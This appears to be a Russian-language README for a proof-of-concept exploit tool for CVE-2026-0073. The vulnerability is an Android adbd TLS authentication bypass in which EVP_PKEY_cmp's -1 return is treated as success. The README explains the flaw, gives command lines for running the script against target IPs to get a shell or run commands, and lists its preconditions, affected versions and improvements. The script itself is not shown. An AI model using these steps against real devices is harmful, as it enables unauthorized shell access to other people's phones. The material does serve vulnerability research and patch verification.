## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MARTINPSDEV-CVE-2026-0073-ANDROID-ADBD-BYPASS-POC
# CVE-2026-0073 — Обход аутентификации TLS в Android ADBD
### Путаница типов в `EVP_PKEY_cmp()` → несанкционированный доступ к ADB shell
   
* * *
## 🔥 Обзор
**Критический обход аутентификации** в демоне ADB Android (`adbd`) позволяет любому атакующему в локальной сети получить **полный shell** на целевом устройстве **без авторизации пользователя**.
Уязвимость существует в `adbd_tls_verify_cert()` внутри `daemon/auth.cpp`, где `EVP_PKEY_cmp()` используется как логическое значение. Когда сохранённый ключ является **RSA** , а представленный TLS-сертификат клиента содержит **не-RSA ключ** (EC P-256 или Ed25519), `EVP_PKEY_cmp()` возвращает **-1** (несоответствие типов), что является **истинным в C/C++** , поэтому `authorized = true`.
root@kitploit:~
// Уязвимый фрагмент кода в daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← ОШИБКА: -1 истинно!
authorized = true;
}
* * *
## ⚡ Быстрый старт
### Установка зависимостей
root@kitploit:~
pip install cryptography
### Запуск эксплойта
root@kitploit:~
# Интерактивный shell
python adb_tls_auth_bypass.py <IP_ЦЕЛИ> <ПОРТ>
# Выполнение одной команды
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Подробный режим (полный протокол трассировки)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
### Принудительное указание типа ключа
root@kitploit:~
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
> По умолчанию скрипт автоматически перебирает **EC P-256 → Ed25519 → EC/TLS 1.2** , пока один из вариантов не сработает.
* * *
## 🎯 Схема эксплойта
root@kitploit:~
Атакующий Цель (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (открытый текст) ────────►│
│◄─── STLS (запрос обновления TLS) ─│
│──── Ответ STLS ──────────────────►│
│ │
│════ Рукопожатие TLS 1.3 ══════════│
│ (представлен сертификат клиента EC P-256) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 истинно → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (информация об устройстве) ─│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (ввод/вывод shell) ─►│
│ │
[ПОЛНЫЙ ДОСТУП К SHELL] │
* * *
## 📋 Предварительные требования
Требование
---
> ⚠️ **Важно:** RSA-ключ должен находиться в `/data/misc/adb/adb_keys`, который заполняется через **сопряжение отладки по USB** (подтверждение диалога «Разрешить отладку по USB?»). Сопряжение беспроводной отладки (`adb pair`) сохраняет ключи в **другом месте** (`adb_known_hosts.pb`) и НЕ удовлетворяет этому требованию.
* * *
## 🛡️ Затронутые версии
* **Android 14** (AOSP) — ✅ Подтверждённая уязвимость
* **Android 15** (AOSP) — Вероятно, уязвим (непатченные сборки)
* Сборки конкретных производителей могут отличаться (Samsung One UI, Pixel и т. д.)
### Как проверить уровень патча
root@kitploit:~
adb shell getprop ro.build.version.security_patch
* * *
## 🧪 Тестовая среда
Протестировано и подтверждено на:
root@kitploit:~
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
* * *
## 🔧 Улучшения по сравнению с оригиналом
Этот форк включает несколько улучшений:
* ✅ **Множественный запасной вариант ключей** — Автоматический перебор EC P-256 → Ed25519 → EC/TLS 1.2
* ✅ **Поддержка Ed25519** — Альтернативный тип ключа для более широкой совместимости
* ✅ **Запасной вариант TLS 1.2** — Другой поток сертификата клиента (отправка во время рукопожатия вместо после рукопожатия)
* ✅ **Расширенный сертификат** — Правильные расширения X.509 (BasicConstraints, KeyUsage)
* ✅ **Совместимость с Windows** — Использование потокового ввода/вывода вместо `select()` для кроссплатформенной поддержки
* ✅ **Увеличенные таймауты** — Лучшая надёжность на медленных сетях
* ✅ **Подробная диагностика** — Детальная трассировка протокола с флагом `-v`
* * *
## 📁 Структура проекта
root@kitploit:~
CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Основной скрипт эксплойта
└── README.md # Этот файл
* * *
## ⚠️ Отказ от ответственности
Этот инструмент предоставляется **только для авторизованного тестирования безопасности и образовательных целей**. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте надлежащее разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование этого программного обеспечения.
* * *
## 📚 Ссылки
* CVE-2026-0073 — MITRE
* Бюллетень безопасности Android
* Документация OpenSSL `EVP_PKEY_cmp`
* Справочник по протоколу ADB
* * *
**Если это помогло вашему исследованию, поставьте ⭐**